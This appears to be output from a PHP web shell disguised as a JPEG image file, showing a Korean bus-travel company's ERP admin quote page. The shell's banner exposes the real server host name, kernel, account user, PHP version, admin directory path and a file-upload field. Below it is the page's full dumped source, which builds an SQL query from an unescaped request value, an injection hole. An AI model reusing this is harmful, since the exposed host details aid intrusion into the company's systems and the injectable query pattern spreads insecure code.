ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/admin/erp/ |
Upload File : |
<?php ini_set('max_inputs_vars',50000); include $_SERVER['DOCUMENT_ROOT'].'/admin/include/top_proc.html'; // 신규예약 if(!$SqlType) $SqlType="res_ins"; // 상품정보 if ( $a_idx ) { $sql = "SELECT * FROM TB_ERP_ALL WHERE a_idx='{$a_idx}'"; $rs = db_query($sql); $row = db_fetch_array($rs) ; } $require_num_comma = " style=\"ime-mode:inactive;text-align:right\" onblur=\"this.value=calcu_esti(this.value)\" onKeyUp=\"this.value=comma(this.value);\" "; // 가격입력시에 콤마+숫자필수 ?> <div class="tbl_wrap"> <table class="tbl"> <thead> <tr> <th>견적서 최종</th> <th class="color1">지출소계</th> <th class="color2">판매소계</th> </tr> </thead> <tbody> <tr> <td class="sub"> 소계 </td> <td> <span id="esti_total_buy_price">₩ 0</span> </td> <td> <span id="esti_total_sell_price">₩ 0</span> </td> </tr> <tr> <td class="sub"> 수수료 </td> <td> <input type="text" name="fee_rate" id="fee_rate" class="form_input percent" value="0" onblur="this.value=calcu_esti(this.value);"> % </td> <td> <span id="fee">₩ 0</span> </td> </tr> <tr> <td class="sub"> 부가세 </td> <td> <input type="text" name="surtax_rate" id="surtax_rate" class="form_input percent" value="0" onblur="this.value=calcu_esti(this.value);"> % </td> <td> <span id="surtax">₩ 0</span> </td> </tr> <tr> <td class="sub"> 최종견적합계 </td> <td colspan="2" class="bold"> <span id="last_sell_price" style="font-weight:bold;">₩ 0</span> </td> </tr> <tr> <td class="sub"> 회사순이익 </td> <td colspan="2" class="bold color"> <span id="esti_profit">₩ 0</span> </td> </tr> </tbody> </table> </div> <div class="btn_box"> <button onclick="chk_form();" type="button" class="btn primary"> 저장 </button> <button onclick="to_dialog.iframe('bus_edit.php?x_idx=<?=$x_idx?>&window=close','버스정산등록','800','780',true,true,'yes'); type="button" class="btn light"> 버스등록 </button> <button onclick="location.href='/admin/erp/erp_list.php'" type="button" class="btn light"> 견적리스트 </button> </div> <div class="upload_wrap" style="display:none"> <div class="upload_box"> <div class="form_input_box"> <input type="file" class="form_input" id="form_upload"> <label for="form_upload" id="file_name" class="form_label"> 여기를 눌러 업로드할 견적서 파일을 선택하세요. </label> <div class="file_del"> <i class="xi-close"></i> </div> </div> <button type="button" class="btn dark"> 업로드 </button> </div> <div class="upload_list"> <p class="page_sub"> 업로드 파일 목록 </p> <div class="listbox"> <div class="item"> <p class="list_txt"> 업로드 파일1.xlsx </p> </div> <div class="item"> <p class="list_txt"> 업로드 파일2.xlsx </p> </div> <div class="item"> <p class="list_txt"> 업로드 파일3.xlsx </p> </div> <div class="item"> <p class="list_txt"> 업로드 파일4.xlsx </p> </div> </div> </div> </div> <script> // 폼 저장 function chk_form() { var f = document.frm_reserv_good; var result = to_validation(f) if( result == false ) return false; $(".day_date").each(function(index){ var day_value = $(this).val(); if(day_value == ''){ var number = index +1; alert('"Day ' + number +'" 값을 입력하세요'); $(this).focus(); result = false; return false; } }); if( result == false ) return false; if(!confirm('저장하시겠습니까?')) return; //ajax_post('ajax_proc','res_proc.php','frm_reserv_good'); f.action = "res_proc.php"; f.submit(); } </script>